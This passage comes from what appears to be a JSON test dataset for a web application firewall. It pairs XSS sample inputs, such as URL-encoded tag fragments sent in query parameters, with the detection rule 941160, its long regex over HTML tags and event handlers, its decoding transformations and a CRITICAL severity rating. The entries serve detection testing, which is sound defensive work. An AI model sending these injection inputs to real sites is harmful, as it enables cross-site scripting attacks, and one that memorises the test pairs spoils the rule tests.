g|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "just another XSS teststring:< x: script" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=$%3Cf%20o%20r%20m" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)<[^0-9<>A-Z_a-z]*(?:[^\\s\\x0b\\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0-9>A-Z_a-z])|f[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?m|d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?g|m[^0-9A-Z_a-z]*?(?:a[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?q[^0-9A-Z_a-z]*?u[^0-9A-Z_a-z]*?e[^0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?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf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z_a-z]*?o|n[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?t[^0-9A-Z_a-z]*?e)|p[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m|i?[^0-9A-Z_a-z]*?f[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?e|b[^0-9A-Z_a-z]*?(?:a[^0-9A-Z_a-z]*?s[^0-9A-Z_a-z]*?e|o[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?y|i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?n[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?s)|i[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?a?[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?e?|v[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "just another XSS teststring: 'A-Z_a-z]*(?:[^\\s\\x0b\\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0-9>A-Z_a-z])|f[^0-9A-Z_a-z]*?o[^0-9A-Z_a-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a-z]*?n[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?s)|i[^0-9A-Z_a-z]*?m[^0-9A-Z_a-z]*?a?[^0-9A-Z_a-z]*?g[^0-9A-Z_a-z]*?e?|v[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "just another XSS teststring: '" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)<[^0-9<>A-Z_a-z]*(?:[^\\s\\x0b\\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0-9>A-Z_a-z])|f[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?m|d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?o[^0-9A-Z_a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Z_a-z]*?e?|v[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941160", "test_description": "SVG onload injection with remote image" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "mime=text/xml&body=$%3Cd%20i%20a%20l%20o%20g" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)<[^0-9<>A-Z_a-z]*(?:[^\\s\\x0b\\\"'<>]*:)?[^0-9<>A-Z_a-z]*[^0-9A-Z_a-z]*?(?:s[^0-9A-Z_a-z]*?(?:c[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?p[^0-9A-Z_a-z]*?t|t[^0-9A-Z_a-z]*?y[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?e|v[^0-9A-Z_a-z]*?g|e[^0-9A-Z_a-z]*?t[^0-9>A-Z_a-z])|f[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?r[^0-9A-Z_a-z]*?m|d[^0-9A-Z_a-z]*?i[^0-9A-Z_a-z]*?a[^0-9A-Z_a-z]*?l[^0-9A-Z_a-z]*?o[^0-9A-Z_a-z]*?g|m[^0-9A-Z_a-z]*?(?:a[^0-9A-Z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Z_a-z]*?d[^0-9A-Z_a-z]*?e[^0-9A-Z_a-z]*?o)[^0-9>A-Z_a-z])|(?:<[0-9A-Z_a-z][^\\s\\x0b/]*[\\s\\x0b/]|[\\\"'](?:[^\\s\\x0b/]*[\\s\\x0b/])?)(?:background|formaction|lowsrc|on(?:a(?:bort|ctivate|d(?:apteradded|dtrack)|fter(?:print|(?:scriptexecu|upda)te)|lerting|n(?:imation(?:cancel|end|iteration|start)|tennastatechange)|ppcommand|u(?:dio(?:end|process|start)|xclick))|b(?:e(?:fore(?:(?:(?:(?:de)?activa|scriptexecu)t|toggl)e|c(?:opy|ut)|editfocus|input|p(?:aste|rint)|u(?:nload|pdate))|gin(?:Event)?)|l(?:ocked|ur)|oun(?:ce|dary)|roadcast|usy)|c(?:a(?:(?:ch|llschang)ed|nplay(?:through)?|rdstatechange)|(?:ell|fstate)change|h(?:a(?:rging(?:time)?cha)?nge|ecking)|l(?:ick|ose)|o(?:m(?:mand(?:update)?|p(?:lete|osition(?:end|start|update)))|n(?:nect(?:ed|ing)|t(?:extmenu|rolselect))|py)|u(?:echange|t))|d(?:ata(?:(?:availabl|chang)e|error|setc(?:hanged|omplete))|blclick|e(?:activate|livery(?:error|success)|vice(?:found|light|(?:mo|orienta)tion|proximity))|i(?:aling|s(?:abled|c(?:hargingtimechange|onnect(?:ed|ing))))|o(?:m(?:a(?:ctivate|ttrmodified)|(?:characterdata|subtree)modified|focus(?:in|out)|mousescroll|node(?:inserted(?:intodocument)?|removed(?:fromdocument)?))|wnloading)|r(?:ag(?:drop|e(?:n(?:d|ter)|xit)|(?:gestur|leav)e|over|start)|op)|urationchange)|e(?:mptied|n(?:abled|d(?:ed|Event)?|ter)|rror(?:update)?|xit)|f(?:ailed|i(?:lterchange|nish)|o(?:cus(?:in|out)?|rm(?:change|input))|ullscreenchange)|g(?:amepad(?:axismove|button(?:down|up)|(?:dis)?connected)|et)|h(?:ashchange|e(?:adphoneschange|l[dp])|olding)|i(?:cc(?:cardlockerror|infochange)|n(?:coming|put|valid))|key(?:down|press|up)|l(?:evelchange|o(?:ad(?:e(?:d(?:meta)?data|nd)|start)?|secapture)|y)|m(?:ark|essage|o(?:use(?:down|enter|(?:lea|mo)ve|o(?:ut|ver)|up|wheel)|ve(?:end|start)?|z(?:a(?:fterpaint|udioavailable)|(?:beforeresiz|orientationchang|t(?:apgestur|imechang))e|(?:edgeui(?:c(?:ancel|omplet)|start)e|network(?:down|up)loa)d|fullscreen(?:change|error)|m(?:agnifygesture(?:start|update)?|ouse(?:hittest|pixelscroll))|p(?:ointerlock(?:change|error)|resstapgesture)|rotategesture(?:start|update)?|s(?:crolledareachanged|wipegesture(?:end|start|update)?))))|no(?:match|update)|o(?:(?:bsolet|(?:ff|n)lin)e|pen|verflow(?:changed)?)|p(?:a(?:ge(?:hide|show)|int|(?:st|us)e)|lay(?:ing)?|o(?:inter(?:down|enter|(?:(?:lea|mo)v|rawupdat)e|o(?:ut|ver)|up)|p(?:state|up(?:hid(?:den|ing)|show(?:ing|n))))|ro(?:gress|pertychange))|r(?:atechange|e(?:adystatechange|ceived|movetrack|peat(?:Event)?|quest|s(?:et|ize|u(?:lt|m(?:e|ing)))|trieving)|ow(?:e(?:nter|xit)|s(?:delete|inserted)))|s(?:croll(?:end)?|e(?:arch|ek(?:complete|ed|ing)|lect(?:ionchange|start)?|n(?:ding|t)|t)|how|(?:ound|peech)(?:end|start)|t(?:a(?:lled|rt|t(?:echange|uschanged))|k(?:comma|sessione)nd|op)|u(?:bmit|ccess|spend)|vg(?:abort|error|(?:un)?load|resize|scroll|zoom))|t(?:ext|ime(?:out|update)|o(?:ggle|uch(?:cancel|en(?:d|ter)|(?:lea|mo)ve|start))|ransition(?:cancel|end|run|start))|u(?:n(?:derflow|handledrejection|load)|p(?:dateready|gradeneeded)|s(?:erproximity|sdreceived))|v(?:ersion|o(?:ic|lum)e)change|w(?:a(?:it|rn)ing|ebkit(?:animation(?:end|iteration|start)|(?:playbacktargetavailabilitychange|transitionen)d)|heel)|zoom)|ping|s(?:rc|tyle))[\\x08-\\n\\f\\r ]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" 